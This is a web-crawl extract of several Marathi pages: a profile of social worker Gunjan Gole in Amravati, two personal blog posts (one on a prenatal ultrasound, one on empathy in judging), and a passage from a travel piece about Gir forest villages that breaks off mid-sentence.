"crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00393.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/1bd8cf084d/set-aside-for-the-service-of-humanity-to-dream-prathamavarga-officer-or-buzzing-unique-story", "date_download": "2018-09-25T17:58:13Z", "digest": "sha1:SZHYLYPEGTV2IR4GYV4IB4VQWM66L5NB", "length": 16237, "nlines": 81, "source_domain": "marathi.yourstory.com", "title": "मानवतेच्या सेवेसाठी प्रथमवर्ग अधिकारी होण्याचे स्वप्न बाजुला ठेवणा-या गुंजन गोळे यांची अनोखी कहाणी!", "raw_content": "\nमानवतेच्या सेवेसाठी प्रथमवर्ग अधिकारी होण्याचे स्वप्न बाजुला ठेवणा-या गुंजन गोळे यांची अनोखी कहाणी\nमहाराष्ट्राच्या मातीमध्ये लहानाची मोठी झाली.असंख्य स्वप्न उराशी बाळगुन आयुष्याच्या वाटेवर चालत असताना छोट्याश्याच प्रवासामध्ये तिने अनेकांची दु:खे पाहिली अन् इतरांच्या वाट्यातील दु:ख दुर करण्यासाठीच आपला जन्म झाल्याची जाणीव एका युवतीला होते, अन् ती युवती स्वत:ची स्वप्ने, इच्छा, आकांक्षा बाजूला ठेवून उभी रहाते ती आयुष्याच्या वाटेवर चालणाऱ्या रोगी, मनोरुग्ण, अनाथ, कृष्टरोगी आदी वाटसरुंच्या वाटेवर सुखाची,आनंदाची अन् प्रेमाची सावली देवुन त्यांचे अास्तित्व स्विकारण्यास समाजास भाग पाडण्यासाठी तीची धडपड सुरु होते. ही कहाणी आहे अमरावती मधील गुंजन सविता गोळे यांची ..\nगुंजन सविता गोळे ही युपी.एससीची सिडीएसची परिक्षा उतीर्ण आहे. महाराष्ट्र लोकसेवा आयोगाची पोलिस निरिक्षकाची अंतिम परिक्षा उतीर्ण आहे, शिवाय ती एक उत्तम गिर्यारोहक आहे. महाराष्ट्रातील सर्वांत उंच कळसुबाई शिखर तिने १४ वेळा सर केले आहे.\nएकदा गुंजनने रस्त्यावरुन जाणाऱ्या एका गरोदर मनोरुग्ण महिलेला पाहिलं अन् तिच्यातल्या माणुस पण जागा झाला. त्या महिलेची अवस्था अतिशय भयानक होती, अंगावर नीट कपडे नाहीत, केस वाढलेले, कित्येक दिवस अंघोळ नाही त्यामुळे ती अतिशय विद्रुप दिसत होती त्यातच गरोदर असल्यामुळे तिला नीट चालता येत नव्हते. ती कुणाची तरी शिकार ठरली असावी अन् त्यातून तिच्या नशिबाला आलेला भोग पोलिस निरिक्षक झालेल्या गुंजन यांना सहन झाला नाही. तिने ठरविले आज पासुन आपला जन्म हा पोलिस निरिक्षक किंवा अधिकारी होवुन लालदिव्याच्या गाडीत फिरण्यासाठी नाही तर अशा बेवारस मनोरुग्णांच्या, अनाथांच्या, कृष्टरोग्यांच्या सेवेसाठी झाला आहे. तेव्हापासुन गुंजन दररोज सायंकाळी अमरावतीचे रस्ते शोधत फिरत असते, स्वत:ची दुचाकी...साधी राहणी ...बाजुला एक मोठी पर्स \nगुंजनच्या पर्समध्ये पाण्याच्या बाटल्या , बिस्किटांचे पुडे, छोटेसे टॉवेल असतात, वाटेत पुटपाथवर एखादा मनोरुग्ण दिसला की त्याला/तिला पाणी पाजते. खायला बिस्किटांचे पुडे देतेे. क्षणार्धात त्यांच्या चेहऱ्यावरील बदललेले भाव पाहुन गुंजनला खूप आनंद होतो असं ती सांगते..... थंडीच्या दिवसात उघड्या अवस्थेत झोपलेल्या मनोरुग्णांना संध्याकाळी त्यांच्या अंगावर ब्लँकेट घालुन जाते पण दुसऱ्या दिवशी त्या मनोरुग्णाकडे दिलेले ब्लँकेट नसते.\nसुरवातीला मनोरुग्णांशी संवाद साधताना मनोरुग्ण घाबरुन दगड मारायचे आत्ता मात्र गुंजनला पहाताच त्यांच्या चेहऱ्यावर एक विशिष्ट आनंदाची भावमुद्रा बघायला मिळते अन् तोच माझा अांनद आहे असं गुंजन सांगते. एकदा असंच रस्त्यावरुन जाताना अमरावतीमधील बियाणी चौकात तीला एक मनोरुग्ण दिसला. तो अत्यंत रागीट स्वभावाचा होता त्याच्या जवळुन जरी कुणी चालेले तरी तो शिव्या द्यायचा. कित्येक दिवसांचा अर्धपोटी जेवलेला, अंगावर मळकटलेले कपडे वाढलेले, केस अन् दाढी पाहुन त्याच्या जवळ कोणीही जाणार नाही अशी त्याची अवस्था.. अन् त्यातच त्याचा आक्रमक स्वभाव.. अन् त्यातच त्याचा आक्रमक स्वभाव.. एकदा गुंजनने दुरुनच पाणी दिले, दुसऱ्या दिवशी दुरुनच बिस्कीटे व खाऊ दिला. रोज खाऊ दिल्याने तो शांत झाला होता, गुंजनला बघताच तो हात पुढे करायचा. तिही लगेच पर्स मधुन त्याला आणलेली फळे, खाऊ द्यायची. हळहळु तो गुंजनशी बोलायला लागला. त्याला मराठी येत नव्हतं अन् कळतही नव्हती. पण त्याला इंग्रजी व हिंदी चांगलं यायचं, तो आणखी एक कोणती तर भाषा बोलायचा, कदाचित तमिळ किंवा मल्याळम असावी.. एकदा गुंजनने दुरुनच पाणी दिले, दुसऱ्या दिवशी दुरुनच बिस्कीटे व खाऊ दिला. रोज खाऊ दिल्याने तो शांत झाला होता, गुंजनला बघताच तो हात पुढे करायचा. तिही लगेच पर्स मधुन त्याला आणलेली फळे, खाऊ द्यायची. हळहळु तो गुंजनशी बोलायला लागला. त्याला मराठी येत नव्हतं अन् कळतही नव्हती. पण त्याला इंग्रजी व हिंदी चांगलं यायचं, तो आणखी एक कोणती तर भाषा बोलायचा, कदाचित तमिळ किंवा मल्याळम असावी.. त्याला समजणारी दुसरी भाषा म्हणजे प्रेम , जिव्हाळा..\nत्याच दुसऱ्या भाषेमुळं त्याचं नाव कृष्णा असल्याचं कळलं. एकदा त्याला फळे देताना गुंजनची नजर त्याच्या बोटावर गेली. त्याच्या बोटात एक धातुची अंगठी होती ती पूर्णपणे बोटात बुडाली होती त्यातून रक्त वाहत होते. गुंजन त्याला अमरावती जिल्हा सामान्य रुग्णालयामध्ये घेवून गेली, डॉक्टरांशी चर्चा केली. डॉक्टरानीं गुंजनला मदत केली तिला सांगितले ऑपरेशन करुन आंगठी बाहेर काढावी लागेल. शेवटी त्याच्या बोटाचे ऑपरेशन करुन त्याच्या बोटात बुडालेली अंगठी काढली. त्याचे लांबलचक वाढलेले केस तिने कापले त्याचे अंग पुसले व त्याला नविन कपडे घालायला दिले. इतकी उच्चशिक्षित युवती आज मनोरुग्णांची माता ठरते आहे. नेपाळ येथे झालेल्या भुंकप दुर्घटनेतील मदत कार्यात गुंजन सहभागी होती, केदारनाथ येथील मदत कार्यात ती सहभागी होती. इतकेच नाही तर अनाथ मुलांच्या शिक्षणासाठीही गुंजन धडपडतेय. ग्रामीण भागातील मुलांना ती सैन्यात भरतीसाठी तयारी करुन घेते. स्पर्धा परिक्षेची तयारी करणाऱ्या विद्यार्थ्याचें ती अमरावती मध्ये क्लासेस घेते.\nमहाराष्ट्रामध्ये प्रथमच तिने गावीलगड ढोल पथक काढुन राज्यात पहिले महिला ढोल पथक चालविण्याचा मान फटकावला आहे. या ढोलपथकामध्ये १५० हुन अधिक मुली-मुलांचा सहभाग आहे. तिचं हे गावीलगड ढोलपथक अमरावतीसह राज्यभर गाजते आहे. ढोलपथका मधुन येणारा पैसा ती सर्व मनोरुग्णांच्या सेवेसाठी, अनाथ बालकांसाठी तसेच निराधार वयोवृध्दाच्यां सेवेवर खर्च करते. अमरावती बसस्थानक परिसरातील १० निराधार वयोवृध्दानां रोजचे एक वेळचे जेवण देते. तिला अात्ता अमरावतीमध्ये एकाही निराधाराला उपाशी पोटी झोपु द्यायचं नाहीये. पूर्वी हे सारं ती एकटी करायची, आज सोशलमिडियामुळं तिचं काम राज्यभर पसरत आहे . त्यामुळे राज्यभरातुन अनेक तरुण तरुणीांचे हात गुंजनला सेवेसाठी लाभत आहेत. अनेक समाजसेवी संस्था गुंजन च्या कामात हातभार लावुन माणुसकी धर्म टिकवत आहेत\nसमाजसेवेच्या प्रवाहात गुंजनला संपूर्ण राज्यात एकही मनोरुग्ण, न निराधार वयोवृध्द रस्त्यावरुन फिरु द्यायचे नाही, त्यांचं पूर्णपणे पुनर्वसन करायचा तिचा मानस आहे. तिचा हा मानस पूर्ण करण्यासाठी आपल्या सर्वाच्यां हाताची गरज तिला भासणार आहे, आपले हातभार लागले तर गुंजनचा मानस पूर्ण होऊन राज्यातील रस्त्यावर एकही मनोरुग्ण व निराधार वयोवृध्द दिसणार नाही. स्वत:ची स्वप्नेे ,स्वत:चं आयुष्य, इच्छा,आकांक्षा चुरगाळुन टाकुन निराधार वयोवृध्द, मनोरुग्णांच्या, अनाथ मुलांच्या चेहऱ्यावरील आनंदासाठी लढणाऱ्या गुंजन सविता गोळे हिचे कार्य खरोखर प्रेरणादायी आहे. (शब्दांकन - तानाजी गोरड)\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nचेह-यात काही नसते, जयप्रकाशने अनेक अडचणी असूनही त्याच्या लहानपणीच्या मैत्रिणीशीच केले लग्न\nबंगळुरूच्या या दंतचिकित्सकाने भारताच्या वतीने ‘मिस व्हिलचेअर वर्ल्ड २०१७’ साठी नामांकन दाखल केले आहे\n. . . . . आणि एक अभागी 'वसईकर' पासवाला\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00394.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/01/prarambha.html", "date_download": "2018-09-25T17:46:26Z", "digest": "sha1:ZBIGGYLN364UAK225QZPCXD3LAVOP2QJ", "length": 6031, "nlines": 58, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: प्रारंभ", "raw_content": "\n तिचा अजून जन्मही झाला नाही आहे परन्तु भलतेच लाडिक प्रकरण होणार आहे ते यात काही संशय नाही परन्तु भलतेच लाडिक प्रकरण होणार आहे ते यात काही संशय नाही पाच दिवसांपूर्वी म्हणजे २५ तारखेला सोनालीची ultrasound (sonography) झाली पाच दिवसांपूर्वी म्हणजे २५ तारखेला सोनालीची ultrasound (sonography) झाली २० आठवड्यापर्यंत बाळाची प्राथमिक तपासणी करतात २० आठवड्यापर्यंत बाळाची प्राथमिक तपासणी करतात यामध्ये ultrasound द्वारे बाळाचे सर्व अवयव आणि वाढ याचा बरयापैकी अंदाज घेता येतो यामध्ये ultrasound द्वारे बाळाचे सर्व अवयव आणि वाढ याचा बरयापैकी अंदाज घेता येतो अमेरिकेत भारतासारखी कायद्यानुसार लिंगातापसणीला बंदी नसल्यामुले आम्ही टीव्ही च्या पडद्याकडे पाहत होतो अमेरिकेत भारतासारखी कायद्यानुसार लिंगातापसणीला बंदी नसल्यामुले आम्ही टीव्ही च्या पडद्याकडे पाहत होतो मधुनच एखादी अस्पष्ट आकृति दिसे मधुनच एखादी अस्पष्ट आकृति दिसे आणि ultrasound करणारी तन्त्रज्ञa आम्हाला बाळाचे पाय हात ह्रदय इत्यादि गोष्टी दाखवत होती आणि ultrasound करणारी तन्त्रज्ञa आम्हाला बाळाचे पाय हात ह्रदय इत्यादि गोष्टी दाखवत होती त्यातील २५% च नीट कळले त्यातील २५% च नीट कळले परन्तु तिला तरी आपले बाळ (गर्भावस्थेतिल) नीट दिसते आहे म्हणुन आमचा आनंद ओसंडून चालला होता परन्तु तिला तरी आपले बाळ (गर्भावस्थेतिल) नीट दिसते आहे म्हणुन आमचा आनंद ओसंडून चालला होता अधुनमधुन बाल लाथा मात्र भरपूर मारीत होते अधुनमधुन बाल लाथा मात्र भरपूर मारीत होते जेमतेम ८-९ इंच आणि २५० ग्रामचा तो जीव जेमतेम ८-९ इंच आणि २५० ग्रामचा तो जीव परन्तु त्याला त्याचे हृदय Liver आतडे सर्वकाही होते परन्तु त्याला त्याचे हृदय Liver आतडे सर्वकाही होते बहुधा म्हणूनच १६ व्या आठवड्यानंतर Ultrasound करत असावेत बहुधा म्हणूनच १६ व्या आठवड्यानंतर Ultrasound करत असावेत जेणेकरून बाळाच्या / गर्भाच्या आरोग्याची प्राथमिक तपासणी करता यावी जेणेकरून बाळाच्या / गर्भाच्या आरोग्याची प्राथमिक तपासणी करता यावी आम्ही आदल्या रात्री देवळात जाऊन देवाला प्रेमळ दम देऊन आलो होतो की या बाळाची चांगली काळजी घे म्हणून आम्ही आदल्या रात्री देवळात जाऊन देवाला प्रेमळ दम देऊन आलो होतो की या बाळाची चांगली काळजी घे म्हणून मी तसा निश्चिंत (अथवा सोनालीच्या लेखी निष्काळजी) होतो मी तसा निश्चिंत (अथवा सोनालीच्या लेखी निष्काळजी) होतो परन्तु जसजसे गर्भाच्या वाढिचे आणि आरोग्याचे योग्य चित्रण पुढे येऊ लागले तसतसे मन निश्चिंत झाले परन्तु जसजसे गर्भाच्या वाढिचे आणि आरोग्याचे योग्य चित्रण पुढे येऊ लागले तसतसे मन निश्चिंत झाले \"ओ.के. तुम्हाला गर्भाचे लिंग जानूं घ्यायचे आहे का \"ओ.के. तुम्हाला गर्भाचे लिंग जानूं घ्यायचे आहे का \" मागील ४ महिन्यांची उत्कंठा ओसंडून चालली होती \" मागील ४ महिन्यांची उत्कंठा ओसंडून चालली होती मी आणि सोनालीने प्रश्न पूर्ण व्हायच्या आताच होकार दर्शविला मी आणि सोनालीने प्रश्न पूर्ण व्हायच्या आताच होकार दर्शविला त्या तन्त्रज्ञ बाईने एक मंदा स्मित करीत बाळाचा तपास पुन्हा चालू केला त्या तन्त्रज्ञ बाईने एक मंदा स्मित करीत बाळाचा तपास पुन्हा चालू केला बराच वेळ हात पाय डोके यांच्या अस्पष्ट आकृत्या येत राहिल्या बराच वेळ हात पाय डोके यांच्या अस्पष्ट आकृत्या येत राहिल्या शेवटी ५-१० मिनीटांनंतर तिने टीव्ही वरचे चित्र स्थिर केले शेवटी ५-१० मिनीटांनंतर तिने टीव्ही वरचे चित्र स्थिर केले आणि कुठले तरी ३ बारीक ठीपकेवाजा रेशांकडे एक बाण काढून टाइप केले .... \"Congratulations आणि कुठले तरी ३ बारीक ठीपकेवाजा रेशांकडे एक बाण काढून टाइप केले .... \"Congratulations\nआणि त्याबरोबरच आमचे शिक्कामोर्तब झाले की बाळाचे नाव सलोनिच असणार आहे\n बाळाची अशी हालचाल पाहायला मिळणे, म्हणजे काय विलक्षण अनुभव असेल ना सलोनीसाठी शुभेच्छा आणि तिचा जन्म झाला की ई-बर्फी जरूर वाटा हं\nसलोनी, सरस्वती, सोफिया की एमीली \nअर्थ आणि अनर्थ - पुढे 2\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00395.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/07/blog-post_4622.html", "date_download": "2018-09-25T17:46:30Z", "digest": "sha1:66WD75AHBEQJDKFPKQRKM75KBOSC5JPE", "length": 16313, "nlines": 61, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: सहभावना (एम्पथी)", "raw_content": "\nआज मी ज्या विषयावर लिहिणार आहे तो विषय आतापर्यंत लिहिलेल्या विषयांच्या तुलनेत समजायला तुला जास्त काळ लागेल. परंतु जर मोठे होऊन कुठल्याही क्षेत्रात तुला नेतृत्व करायचे असेल तर आवश्यक अश्या काही गोष्टी आहेत इथे. मी त्यात पारंगत आहे असे काही नाही. परंतु आपण कुठे कमी पडतो हे कळणे सुद्धा महत्वाचे असते.\nअमेरिकेत मागील काही आठवडे इथल्या सर्वाच्च न्यायालयाच्या एका रिकाम्या जागेसाठी योग्य व्यक्तीचा शोध चालु आहे. भारतामध्ये राष्ट्रपति न्यायाधिशांची थेट नियुक्ति करतात. अमेरिकेत मात्र राष्ट्राध्यक्ष कोणातरी सुयोग्य व्यक्तिचे नाव सुचवतात आणि इथली संसद (सेनेट) त्या व्यक्तिची शहानिशा करुन त्या निर्णयाला मंजुरी देतात. ही प्रक्रिया अतिशय अटीतटीची असते कारण देशाच्या समाजकारणावर दूरगामी होतील असे निर्णय हे न्यायाधीश देणार असतात. एकदा केलेली नियुक्ती आजन्म असते. अक्षरश: आजन्म. त्या न्यायाधीशांना कोणीही निवृत्त करू शकत नाही (अगदी राष्ट्राध्यक्ष सुद्धा). यामागची भूमिका अशी की न्यायाधीशांना कोणाचीही भीती न बाळगता न्यायदानाचे काम नि:पक्षपातीपणे करता यावे.\nतर सध्या रिकाम्या असलेल्या जागेसाठी ओबामांनी एका लॅटिन अमेरिकन स्त्रीचे नाव सुचवले आहे. तिचे नाव जज सोनिया सोटोमायर. जज सोटोमायरकडे एका चांगल्या न्यायाधीशाकडे असावेत असे सर्व गुण आहेत आणि त्यांची नियुक्ती अगदी निश्चीत आहे. परंतु दोन गोष्टींबाबत मोठा वादंग झाला. खरे तर वादंग पेक्षा वादविवाद किंवा उहापोह झाला असे म्हणु आपण. कारण अमेरिकेत वाद असेल तरिही सभ्यतेची पातळी क्वचीतच सोडली जाते. वाटेल तसे आरोप प्रत्यारोप सहसा केले जात नाहीत. असो... तर ते दोन मुद्दे म्हणजे १) न्यायाधीशांमधील वंशाधारीत न्यायप्रदानक्षमता आणि २) न्यायदानामध्ये सहभावनेचे (एम्पथी) स्थान.\nजज सोटोमायर यांनी पूर्वी कधीतरी न्यायाधीशांच्या एका संमेलनात असे म्हटले होते की \"एखाद्या \"विद्वान\" श्वेतवर्णीय पुरुषापेक्षा एखादी \"विद्वान\" लॅटीन अमेरिकन स्त्री जज अधिक चांगले न्यायदान करु शकेल.\" अमेरिकेत समानतेचे तत्व हे दुहेरी आहे. कोणत्याही कृष्णवर्णीय अथवा अल्पसंख्याक व्यक्तीवर अन्याय होऊ नये याची काळजी जशी घेतली जाते त्याचवेळी बहुसंख्याक अथवा सबळ घटकांवर ही अन्याय होऊ नये अशी समाजाची रचना आणि धारणा बव्हंशी आहे. त्यामुळे सोटोमायर यांचे वरिल वक्तव्य वरकरणी पाहिले तर निषेध करण्यासारखेच आहे. त्यातुन असेच वाटेल की जज सोटोमायर वंश आणि लिंगानुसार भेदभाव मानणार्या आहेत. परंतु जज सोटोमायर यांनी त्यावर क्षमा मागीतली आणि आपला समानतेवर विश्वास आहे हे स्पष्ट केले. त्यांचे मूळ वक्तव्य हे पूर्वीच्या एका प्रसिद्ध न्यायाधीशाच्या वक्त्यव्याला दुजोरा देताना आणि त्या संमेलनाला आलेल्या लॅटिन अमेरिकन स्त्रीयांना स्फुर्ती देण्यासाठी केले होते. त्यामागच्या संदर्भाचा विपर्यास केला जातो आहे हे त्यांनी स्पष्ट केले. त्यांचे स्पष्टीकरण सर्वसाधारणपणे सर्व संसदेला मान्य झाले.\nपरंतु त्या संदर्भावरुन पुढची चर्चा जास्त रंगली. संदर्भ होता - त्या मूळ वक्तव्याचा जिथे नुकत्याच निवृत्त झालेल्या सॅन्ड्रा डे ओकॉनर या एका न्यायाधीशांनी असे म्हटले होते की \"न्याय देताना न्यायाधीशांचे आयुष्यविषयक अनुभव जितके जास्त तितके न्यायदान \"विद्वत्तापूर्ण\" सहभावनापूर्ण आणि म्हणुन अधिक चांगले होईल.\"\nवाद या विषयावर होता की न्यायाधीशांनी न्यायदान करताना सहवेदना अथवा सहभावना ठेवावी का ऍरिस्टॉटल या ग्रीक तत्वज्ञाने कायद्याची (किंवा नियमांची) व्याख्या अशी केली आहे की - लॉ इज रिझन विदाऊट पॅशन (अर्थात, कायदा म्हणजे अभिनीवेशशून्य कारणमीमांसा आहे.). इथे भावनेपेक्षा तर्क महत्वाचा. लोकशाहीमध्ये न्यायदान हे नियमानुसार व्हावे अशी अपेक्षा. अन्यथा सोयिस्कररीत्या व्याख्या बदलल्या तर अन्याय सहन न झाल्याने अनगोंदी माजेल. त्यामुळे न्यायाधीशांनी नियमानुसार त्यांचे काम करावे आणि भावनिकपणा टाळावा अशी अपेक्षा. परंतु आयुष्यातील सर्वच प्रसंग नियमबद्ध करता येत नाहीत. महाभारतात त्यालाच \"धर्मस्य गति सूक्ष्म:\" म्हटले आहे. त्यामुळे अनेकदा न्यायाधीशांना कायद्याचा अर्थ लावावा लागतो. आणि इथे जर न्यायाधीशांनी समाजातील दु:ख आणि वेदना पाहिल्याच नसतील तर अन्याय होऊ शकतो. न्याय आंधळा असावा याचा अर्थ सर्व जण कायद्यापुढे समान असावेत. परंतु न्याय बहिरा अथवा संवेदनाहीन असावा का असा प्रश्न आहे.\nऍरिस्टॉटलच्या म्हणण्यानुसार अभिनिवेशशून्य असला तरीही सहभावनाहीन असावा का बहुधा नाही. सांगणे कठीण आहे. सर्वच प्रश्नांना निश्चीत उत्तरे नसतात. आणि अनेकदा उत्तरांपेक्षा प्रश्न विचारला जाणे हेच खूप महत्वाचे असते. जिवंतपणाचे लक्षण आहे.\nएकंदरीतच अमेरिकेच्या प्रगतीमागचे सर्वात मूळ कारण हे इथली न्यायव्यवस्था हेच आहे. अमेरिकाच नव्हे तर जगातील सर्वच यशस्वी आणि संपन्न राज्ये / राष्ट्रे आणि साम्राज्ये ही तुलनेनी कमी अन्यायकारक होती. जो राजा जितका अन्यायकारक तितका त्याचा लवकर अस्त हा इतिहासातिल नियम आहे. रामराज्य या संकल्पनेमागील अर्थ नेमका काय आहे त्याउलट रावणराज्य कसे असेल असे विचारले तर सहसा आपण सर्वच हेच म्हणु की जिथे जीवाशीवाची शाश्वती नाही ते रावणराज्य त्याउलट रावणराज्य कसे असेल असे विचारले तर सहसा आपण सर्वच हेच म्हणु की जिथे जीवाशीवाची शाश्वती नाही ते रावणराज्य मोगलाई \"मोगलाई\" असूनही इतर इस्लामी बादशहांपैकी जास्त टिकली कारण तुलनेने मोगल राज्यकर्ते अधिक सहिष्णु होते मोगलाई \"मोगलाई\" असूनही इतर इस्लामी बादशहांपैकी जास्त टिकली कारण तुलनेने मोगल राज्यकर्ते अधिक सहिष्णु होते यात \"तुलनेने\" हे समजुन घेणे महत्वाचे. शिवाजी राजांना जनतेने आपले का मानले ... त्यांच्या मृत्युनंतरही हे राज्य टिकावे अशी धडपड इथल्या माणसांनीच नाही तर कड्या कपारींनीही का केली यात \"तुलनेने\" हे समजुन घेणे महत्वाचे. शिवाजी राजांना जनतेने आपले का मानले ... त्यांच्या मृत्युनंतरही हे राज्य टिकावे अशी धडपड इथल्या माणसांनीच नाही तर कड्या कपारींनीही का केली तर हे राज्य व्हावे ही श्रींची इच्छा. आणि आपल्या धर्मानुसार श्री म्हणजे दुसरे तिसरे कोणिही नसुन आपणच आहोत. हे सर्वांचे राज्य आहे. इथे न्याय आहे म्हणुन ते चालवायचे आणि वाढवायचे. आज महाराष्ट्र पुढे का आणि अनेक नोबेल पदक विजेत्यांची जन्मभूमी बंगाल मागे का तर हे राज्य व्हावे ही श्रींची इच्छा. आणि आपल्या धर्मानुसार श्री म्हणजे दुसरे तिसरे कोणिही नसुन आपणच आहोत. हे सर्वांचे राज्य आहे. इथे न्याय आहे म्हणुन ते चालवायचे आणि वाढवायचे. आज महाराष्ट्र पुढे का आणि अनेक नोबेल पदक विजेत्यांची जन्मभूमी बंगाल मागे का कारण कम्युनिझमच्या नावाखाली अराजकताच आहे. कामगारांची सर्व समाजावर लोखंडी पकड आहे. मुक्त विचार मुक्त आचार यांना बंदी आहे.\nअमेरिका म्हणजे काही धुतल्या तांदळासारखी नक्कीच नाही. परंतु इतर देशांपेक्षा बरी आहे. तीच गोष्ट महाराष्ट्राची. न्याय, समता (गुणांना वाव), आचार विचार आणि कृतिचे स्वातंत्र आणि मानवी मुल्यांचे अधिष्टान ही समाजाच्या प्रगतीची चाके आहेत. मानवी मन, त्याच्या क्षमता आणि आकांक्षा ही त्याची इंजिन्स आहेत. आणि कल्पकता हे इंधन आहे. पाश्चात्यांची प्रगती साध्य करणे हे तसे सोपे आहे ... कारण अनेक भारतिय अमेरिकेत येऊन मोठमोठे पराक्रम करतातच. परंतु भारत देशच जर अमेरिकेसारखा अथवा अधिक समृद्ध आणि बलशाली करायचा असेल तर न्याय, समान संधी, स्वातंत्र्य खर्या अर्थाने प्रस्थापित केले पाहिजेत. समृद्धि आणि भौतिक प्रगती केवळ एक परिपाक आहे.\n\"सहभावना हवी की नको\" खरेच ... भारतामध्ये ही असे प्रश्न विचारणारे खासदार जन्माला येवोत.\nमराठी माणसा - जागा हो \n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00395.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/muktapeeth/waman-bhure-wirte-article-muktapeeth-49235", "date_download": "2018-09-25T18:01:07Z", "digest": "sha1:F3FCC6L6YDJFLCS4CWQBEOHDO5N6YBQL", "length": 18131, "nlines": 181, "source_domain": "www.esakal.com", "title": "waman bhure wirte article in muktapeeth गीरच्या जंगलात... | eSakal", "raw_content": "\nगुरुवार, 1 जून 2017\nआपल्याला गीरचे जंगल आठवते ते सिंहांसाठी. पण गीरच्या गाई प्रसिद्ध आहेत. या जंगलातील गावांमध्ये मुलींना लक्ष्मी मानतात. निसर्गावर श्रद्धा असणाऱ्यांचे हे गाव आहे.\nआपल्याला गीरचे जंगल आठवते ते सिंहांसाठी. पण गीरच्या गाई प्रसिद्ध आहेत. या जंगलातील गावांमध्ये मुलींना लक्ष्मी मानतात. निसर्गावर श्रद्धा असणाऱ्यांचे हे गाव आहे.\nदेशी गाई सांभाळायचा विचार बरेच दिवस मनात होता. देशी गाईचे दूध, तूप, गोमूत्र यांचे अनेक फायदे वडिलधाऱ्यांकडून ऐकले होते. खेडेगावात बालपण गेले. गाईच्या शेणाने सारवलेली घराची जमीन, त्याचा वास हे वेगळेच मनाला शांती देणारे वाटायचे. मी देशी गाईंचा अभ्यास करण्यासाठी देशातील वेगवेगळ्या भागात जाऊन तेथील गाईंचा अभ्यास करीत आहे. सर्व प्रकारच्या देशी गाई असलेली एक चांगली गोशाळा निर्माण करायचे मी योजले आहे. त्यामुळे शेतकऱ्यांना सर्व जातीच्या देशी गाई एकाच ठिकाणी पाहता येतील. गीरच्या गाई प्रसिद्ध आहेत. तिकडे एकदा जायचे ठरवले.\nनुकताच गुजरातमधील गीर भागात गेलोही. तिकडच्या मेहेता कुटुंबाचा परिचय होता. त्यांच्या ओळखीने गीरच्या जंगलात असणाऱ्या एका कुटुंबात मुक्कामास जाण्याचे ठरले. दर्शूरभाई देऊबहाल यांच्याकडे मुक्कामाला गेलो. त्यांनी त्यादिवशी संध्याकाळी दिलेल्या चहाची चव काही न्यारीच होती.\nगाईच्या दुधाची अवीट चव. गीर जंगलातील पाहुणचार आठवणीत राहणारा असा होता. चांदण्याची रात्र. मोकळ्या जागेत बाजा टाकलेल्या आणि जंगली प्राणी-पक्षी याशिवाय कोणाचाच आवाज नाही. आमच्या मोबाईलला नेटवर्क नव्हते. त्या ठिकाणी दोनशे लोकवस्ती असणाऱ्या गावातील लहान मुले व बुजुर्ग सगळी आमची आपुलकीने चौकशी करीत होते, त्यांच्या अडचणी सांगत होते. अडचणी किती असल्या तरी सरकारकडून ज्या सुविधा मिळतात त्यावर सर्व जण खूष होते. सरकारने त्यांना सोलर लाईट, सोलर पंप यांसारख्या सुविधा पोचविल्या होत्या. या व्यतिरिक्त अत्यावशक वैद्यकीय सेवाही उपलब्ध होती. यापूर्वी दवाखाना दूर असल्यामुळे रुग्ण दगावण्याची भीती असायची. ती भीती आता राहिली नाही. डेअरीची सुविधा असल्यामुळे दुधावरच उदरनिर्वाह असलेल्या या गावाची चांगलीच सोय झाली होती. जागेवर दूध खरेदी होते, दुधाला चांगला भाव मिळतो. त्यामुळे जंगलात राहण्यास सारेच खुश होते.\nमुलगी जन्माला आली म्हणजे घरी देवीचे आगमन झाले, असे समजणाऱ्यांचे हे गाव होते. जिचा जन्म झाला की घरी लक्ष्मी आल्याचा आनंद होतो, त्या लक्ष्मीला फक्त सातवीपर्यंतच शिक्षण घेता येते. येथून शाळा दूर असल्याने तिची शाळा बंद होते. शिक्षण मिळाले पाहिजे, हे वाक्‍य एका बुजुर्गाच्या तोंडून ऐकले. त्यांचा महिलांबाबत असणारा आदर खूप काही सांगून जात होता. जंगल खात्याकडून बांधकामास परवानगी मिळत नाही, त्यामुळे कुडाच्या भिंती आणि त्यावर छप्पर अशी घरे. या गावात पोलिस कधी आलेच नाहीत, भांडण कधी झालेच नाही, काही कुरबूर झाली तर बुजुर्ग मंडळी गावातच ते मिटवतात. चोरी इकडे कधीच होत नाही, परंतु जंगली प्राण्यांची भीती असते. बाकी त्यांनी ही कधी आम्हाला धोका दिला नाही. पण घर चांगले बांधायची इच्छा असूनही बांधता येत नाही. एक म्हैस सिंहाने मारली तर लाखात नुकसान होते, परंतु शासन तीस हजार रुपयांपर्यंत भरपाई देते. गप्पा सुरू होत्या. लहान मुले त्यांच्याकडे असणारी कला दाखवत होती.\nएका मुलाने आमचे गीर जंगल कसे आहे त्याचे वर्णन करणारे गुजराती गीत सुंदर आवाजात व चालीत गायले. रात्री अकरा वाजता मोकळ्या मैदानात झोपण्यासाठी गेलो. थोडी भीती वाटत होती; पण त्यांचा सिंहावर असणारा विश्वास \"साहब हमारे पास से जायेगा, पर कुछ नही करेगा, आज तक उसने कभी इंसान के साथ धोखा नही किया' या वाक्‍याने थोडा धीर आला. आकाशाकडे बघत झोपण्याचा प्रयत्न करीत होतो. पण मनावर भीतीचे सावट होते. पण त्या जंगलातील थंड वाऱ्यात झोप कधी लागली हे कळले नाही. अचानक 